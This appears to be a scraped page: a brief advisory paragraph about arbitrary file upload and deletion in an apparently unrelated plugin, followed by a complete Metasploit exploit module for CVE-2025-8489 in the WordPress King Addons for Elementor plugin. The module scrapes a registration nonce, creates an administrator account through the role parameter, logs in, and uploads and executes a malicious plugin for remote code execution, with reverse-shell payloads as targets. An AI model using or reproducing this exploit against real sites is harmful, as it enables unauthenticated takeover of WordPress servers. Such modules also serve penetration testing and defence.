The vulnerability stemmed from insecure AJAX actions, specifically `kae_fs_file_upload` and `kae_fs_url_upload`, which permitted arbitrary file uploads. Attackers could upload malicious PHP files, leading to server compromise. Additionally, the `kae_fs_file_delete` action allowed arbitrary file deletion.
Exploitation could result in a complete site takeover, including data manipulation and full administrative control. Users are urged to update to version 1.4 or higher immediately to patch this critical security flaw.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
'Description' => %q{
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
in the handle_register_ajax() function which allows unauthenticated attackers to specify
the user_role parameter during registration, enabling them to create administrator accounts.
This exploit requires a WordPress page containing the King Addons "Login Register Form"
Elementor widget, which exposes the required nonce token in the page's JavaScript.
The NONCE_PAGE option must be set to the path of such a page.
Once an administrator account is created, the module uploads and executes a malicious
plugin to achieve remote code execution (RCE).
},
'Author' => [
'Peter Thaleikis', # Vulnerability discovery
'Valentin Lobstein <
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8489'],
['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-10-30',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
]
)
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Detected('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])
admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless admin_cookie
msg = 'Failed to log in to WordPress admin.'
msg += ' User may exist with a different password.' if user_existed
fail_with(Failure::UnexpectedReply, msg)
end
upload_and_execute_payload(admin_cookie)
end
private
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200
doc = res.get_html_document
return nil unless doc
script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')
script_nodes.each do |script_node|
nonce = extract_nonce_from_script(script_node.text)
return nonce if nonce
end
vprint_warning('Could not find nonce')
nil
end
def extract_nonce_from_script(script_content)
match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
return nil unless match
json_data = begin
JSON.parse(match[1].gsub('\/', '/'))
rescue StandardError
nil
end
return nil unless json_data.is_a?(Hash)
nonce = json_data['register_nonce']
return nil unless nonce.is_a?(String) && !nonce.empty?
vprint_status("Found nonce: #{nonce}")
nonce
end
def send_registration_request(username:, email:, password:, user_role: 'administrator')
@nonce ||= find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'king_addons_user_register',
'nonce' => @nonce,
'username' => username,
'email' => email,
'password' => password,
'confirm_password' => password,
'user_role' => user_role,
'terms_required' => 'no'
}
)
end
def create_admin_user(username, password, email)
res = send_registration_request(username: username, email: email, password: password)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
json = res.get_json_document
unless json.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
print_warning('User or email already exists, attempting login with provided credentials...')
return true
end
if json['success'] == true
return false
end
fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_file = "#{payload_name}.php"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end